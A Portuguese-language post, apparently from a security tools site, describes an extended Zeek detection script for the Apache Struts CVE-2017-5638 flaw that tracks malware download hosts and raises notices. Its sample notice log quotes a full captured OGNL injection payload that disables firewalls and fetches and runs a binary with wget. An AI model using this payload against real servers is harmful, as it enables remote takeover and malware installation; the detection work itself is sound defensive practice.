CVE-2017-5638_struts

Eu estendi o script do Scott Campbell ainda mais, deixei mais complicado :)

Enquanto "HTTP_StrutsAttack" vai parar 100% do reconhecimento, ainda havia uma chance minúscula de que, se um scanner atingir um sistema vulnerável, mesmo que bloqueássemos o scanner, o sistema vulnerável ainda poderia executar o wget incluído na requisição HTTP e executar o malware. Já que não estamos bloqueando o IP de download do malware na URL do wget, que é quase sempre diferente do IP de reconhecimento.

Então, o script estendido também extrai o IP de download do malware.

1. Gere os seguintes avisos:

   root@kitploit:~

    redef enum Notice::Type += {
            Attempt,
            MalwareURL,
            HostileDomainLookup,
            MalwareURLClick,
            FileDownload,
            Compromise,
    };
   

• Então agora este script irá extrair a URL "wget" do Attempt e, se a URL tiver um domínio (ou domínio com CNAME), o script rastreará ainda mais os endereços IP do host do malware e monitorará a atividade.

• Se a URL wget for vista em http, geraremos um aviso MalwareURLClick.

• Avisos adicionais para FileDownload e Compromise.

• Este script também é clusterizado.

Eu o executei por 24 horas e as coisas parecem estáveis em relação ao script. Ainda tenho certeza de que pode haver alguns furos de detecção bobos. Então fique à vontade para modificar e me avisar também.

Surpreendentemente, ao contrário de vezes anteriores, não vejo um volume enorme de scanners Struts. Estou vendo na faixa de ~20 por dia em vez de ~1.000 por dia.

Aqui estão exemplos de avisos:

1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -